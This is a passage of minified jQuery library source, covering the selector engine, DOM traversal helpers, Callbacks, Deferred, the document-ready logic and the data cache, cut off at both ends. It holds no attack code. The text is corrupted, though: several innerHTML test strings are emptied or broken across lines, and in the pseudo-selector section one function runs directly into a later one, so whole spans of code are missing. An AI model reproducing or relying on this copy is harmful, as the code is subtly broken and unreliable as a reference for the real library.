c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],!a||"string"!=typeof a)return d;if(1!==(k=b.nodeType)&&9!==k)return[];if(p&&!e){if(f=_.exec(a))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return I.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return I.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=9===k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(bb,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+qb(o[l]);w=ab.test(a)&&ob(b.parentNode)||b,x=o.join(",")}if(x)try{return I.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function gb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function hb(a){return a[u]=!0,a}function ib(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function jb(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function kb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||D)-(~a.sourceIndex||D);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function lb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function nb(a){return hb(function(b){return b=+b,hb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function ob(a){return a&&typeof a.getElementsByTagName!==C&&a}c=fb.support={},f=fb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fb.setDocument=function(a){var b,e=a?a.ownerDocument||a:v,g=e.defaultView;return e!==n&&9===e.nodeType&&e.documentElement?(n=e,o=e.documentElement,p=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){m()},!1):g.attachEvent&&g.attachEvent("onunload",function(){m()})),c.attributes=ib(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ib(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(e.getElementsByClassName)&&ib(function(a){return a.innerHTML="
",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=ib(function(a){return o.appendChild(a).id=u,!e.getElementsByName||!e.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==C&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c=typeof a.getAttributeNode!==C&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==C?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==C&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(e.querySelectorAll))&&(ib(function(a){a.innerHTML="",a.querySelectorAll("[msallowclip^='']").length&&q.push("[*^$]="+M+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+M+"*(?:value|"+L+")"),a.querySelectorAll(":checked").length||q.push(":checked")}),ib(function(a){var b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+M+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ib(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",Q)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===v&&t(v,a)?-1:b===e||b.ownerDocument===v&&t(v,b)?1:k?K.call(k,a)-K.call(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],i=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:k?K.call(k,a)-K.call(k,b):0;if(f===g)return kb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?kb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},e):n},fb.matches=function(a,b){return fb(a,null,null,b)},fb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fb(b,n,null,[a]).length>0},fb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&E.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fb.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fb.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fb.selectors={cacheLength:50,createPseudo:hb,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||"").replace(cb,db),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+M+")"+a+"("+M+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==C&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fb.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fb.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?hb(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=K.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:hb(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?hb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:hb(function(a){return function(b){return fb(a,b).length>0}}),contains:hb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:hb(function(a){return W.test(a||"")||fb.error("unsupported lang: "+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:nb(function(){return[0]}),last:nb(function(a,b){return[b-1]}),eq:nb(function(a,b,c){return[0>c?c+b:c]}),even:nb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:nb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:nb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:nb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function rb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function sb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function tb(a,b,c){for(var d=0,e=b.length;e>d;d++)fb(a,b[d],c);return c}function ub(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function vb(a,b,c,d,e,f){return d&&!d[u]&&(d=vb(d)),e&&!e[u]&&(e=vb(e,f)),hb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||tb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ub(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ub(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?K.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ub(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):I.apply(g,r)})}function wb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=rb(function(a){return a===b},h,!0),l=rb(function(a){return K.call(b,a)>-1},h,!0),m=[function(a,c,d){return!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>i;i++)if(c=d.relative[a[i].type])m=[rb(sb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return vb(i>1&&sb(m),i>1&&qb(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&wb(a.slice(i,e)),f>e&&wb(a=a.slice(e)),f>e&&qb(a))}m.push(c)}return sb(m)}function xb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=G.call(i));s=ub(s)}I.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&fb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?hb(f):f}return h=fb.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xb(e,d)),f.selector=a}return f},i=fb.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&ob(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qb(j),!a)return I.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&ob(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ib(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ib(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||jb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ib(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||jb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ib(function(a){return null==a.getAttribute("disabled")})||jb(L,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fb}(a);m.find=s,m.expr=s.selectors,m.expr[":"]=m.expr.pseudos,m.unique=s.uniqueSort,m.text=s.getText,m.isXMLDoc=s.isXML,m.contains=s.contains;var t=m.expr.match.needsContext,u=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,v=/^.[^:#\[\.,]*$/;function w(a,b,c){if(m.isFunction(b))return m.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return m.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(v.test(b))return m.filter(b,a,c);b=m.filter(b,a)}return m.grep(a,function(a){return m.inArray(a,b)>=0!==c})}m.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?m.find.matchesSelector(d,a)?[d]:[]:m.find.matches(a,m.grep(b,function(a){return 1===a.nodeType}))},m.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(m(a).filter(function(){for(b=0;e>b;b++)if(m.contains(d[b],this))return!0}));for(b=0;e>b;b++)m.find(a,d[b],c);return c=this.pushStack(e>1?m.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(w(this,a||[],!1))},not:function(a){return this.pushStack(w(this,a||[],!0))},is:function(a){return!!w(this,"string"==typeof a&&t.test(a)?m(a):a||[],!1).length}});var x,y=a.document,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=m.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||x).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof m?b[0]:b,m.merge(this,m.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:y,!0)),u.test(c[1])&&m.isPlainObject(b))for(c in b)m.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=y.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return x.find(a);this.length=1,this[0]=d}return this.context=y,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):m.isFunction(a)?"undefined"!=typeof x.ready?x.ready(a):a(m):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),m.makeArray(a,this))};A.prototype=m.fn,x=m(y);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};m.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!m(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),m.fn.extend({has:function(a){var b,c=m(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(m.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=t.test(a)||"string"!=typeof a?m(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&m.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?m.unique(f):f)},index:function(a){return a?"string"==typeof a?m.inArray(this[0],m(a)):m.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(m.unique(m.merge(this.get(),m(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}m.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return m.dir(a,"parentNode")},parentsUntil:function(a,b,c){return m.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return m.dir(a,"nextSibling")},prevAll:function(a){return m.dir(a,"previousSibling")},nextUntil:function(a,b,c){return m.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return m.dir(a,"previousSibling",c)},siblings:function(a){return m.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return m.sibling(a.firstChild)},contents:function(a){return m.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:m.merge([],a.childNodes)}},function(a,b){m.fn[a]=function(c,d){var e=m.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=m.filter(d,e)),this.length>1&&(C[a]||(e=m.unique(e)),B.test(a)&&(e=e.reverse())),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return m.each(a.match(E)||[],function(a,c){b[c]=!0}),b}m.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):m.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){m.each(b,function(b,c){var d=m.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&m.each(arguments,function(a,c){var d;while((d=m.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?m.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},m.extend({Deferred:function(a){var b=[["resolve","done",m.Callbacks("once memory"),"resolved"],["reject","fail",m.Callbacks("once memory"),"rejected"],["notify","progress",m.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return m.Deferred(function(c){m.each(b,function(b,f){var g=m.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&m.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?m.extend(a,d):d}},e={};return d.pipe=d.then,m.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&m.isFunction(a.promise)?e:0,g=1===f?a:m.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&m.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;m.fn.ready=function(a){return m.ready.promise().done(a),this},m.extend({isReady:!1,readyWait:1,holdReady:function(a){a?m.readyWait++:m.ready(!0)},ready:function(a){if(a===!0?!--m.readyWait:!m.isReady){if(!y.body)return setTimeout(m.ready);m.isReady=!0,a!==!0&&--m.readyWait>0||(H.resolveWith(y,[m]),m.fn.triggerHandler&&(m(y).triggerHandler("ready"),m(y).off("ready")))}}});function I(){y.addEventListener?(y.removeEventListener("DOMContentLoaded",J,!1),a.removeEventListener("load",J,!1)):(y.detachEvent("onreadystatechange",J),a.detachEvent("onload",J))}function J(){(y.addEventListener||"load"===event.type||"complete"===y.readyState)&&(I(),m.ready())}m.ready.promise=function(b){if(!H)if(H=m.Deferred(),"complete"===y.readyState)setTimeout(m.ready);else if(y.addEventListener)y.addEventListener("DOMContentLoaded",J,!1),a.addEventListener("load",J,!1);else{y.attachEvent("onreadystatechange",J),a.attachEvent("onload",J);var c=!1;try{c=null==a.frameElement&&y.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!m.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}I(),m.ready()}}()}return H.promise(b)};var K="undefined",L;for(L in m(k))break;k.ownLast="0"!==L,k.inlineBlockNeedsLayout=!1,m(function(){var a,b,c,d;c=y.getElementsByTagName("body")[0],c&&c.style&&(b=y.createElement("div"),d=y.createElement("div"),d.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(d).appendChild(b),typeof b.style.zoom!==K&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",k.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(d))}),function(){var a=y.createElement("div");if(null==k.deleteExpando){k.deleteExpando=!0;try{delete a.test}catch(b){k.deleteExpando=!1}}a=null}(),m.acceptData=function(a){var b=m.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var M=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,N=/([A-Z])/g;function O(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(N,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:M.test(c)?m.parseJSON(c):c}catch(e){}m.data(a,b,c)}else c=void 0}return c}function P(a){var b;for(b in a)if(("data"!==b||!m.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function Q(a,b,d,e){if(m.acceptData(a)){var f,g,h=m.expando,i=a.nodeType,j=i?m.cache:a,k=i?a[h]:a[h]&&h; +if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||m.guid++:h),j[k]||(j[k]=i?{}:{toJSON:m.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=m.extend(j[k],b):j[k].data=m.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[m.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[m.camelCase(b)])):f=g,f}}function R(a,b,c){if(m.acceptData(a)){var d,e,f=a.nodeType,g=f?m.cache:a,h=f?a[m.expando]:m.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){m.isArray(b)?b=b.concat(m.map(b,m.camelCase)):b in d?b=[b]:(b=m.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!P(d):!m.isEmptyObject(d))return}(c||(delete g[h].data,P(g[h])))&&(f?m.cleanData([a],!0):k.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}m.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?m.cache[a[m.expando]]:a[m.expando],!!a&&!P(a)},data:function(a,b,c){return Q(a,b,c)},removeData:function(a,b){return R(a,b)},_data:function(a,b,c){return Q(a,b,c,!0)},_removeData:function(a,b){return R(a,b,!0)}}),m.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=m.data(f),1===f.nodeType&&!m._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=m.camelCase(d.slice(5)),O(f,d,e[d])));m._data(f,"parsedAttrs",!0)}return 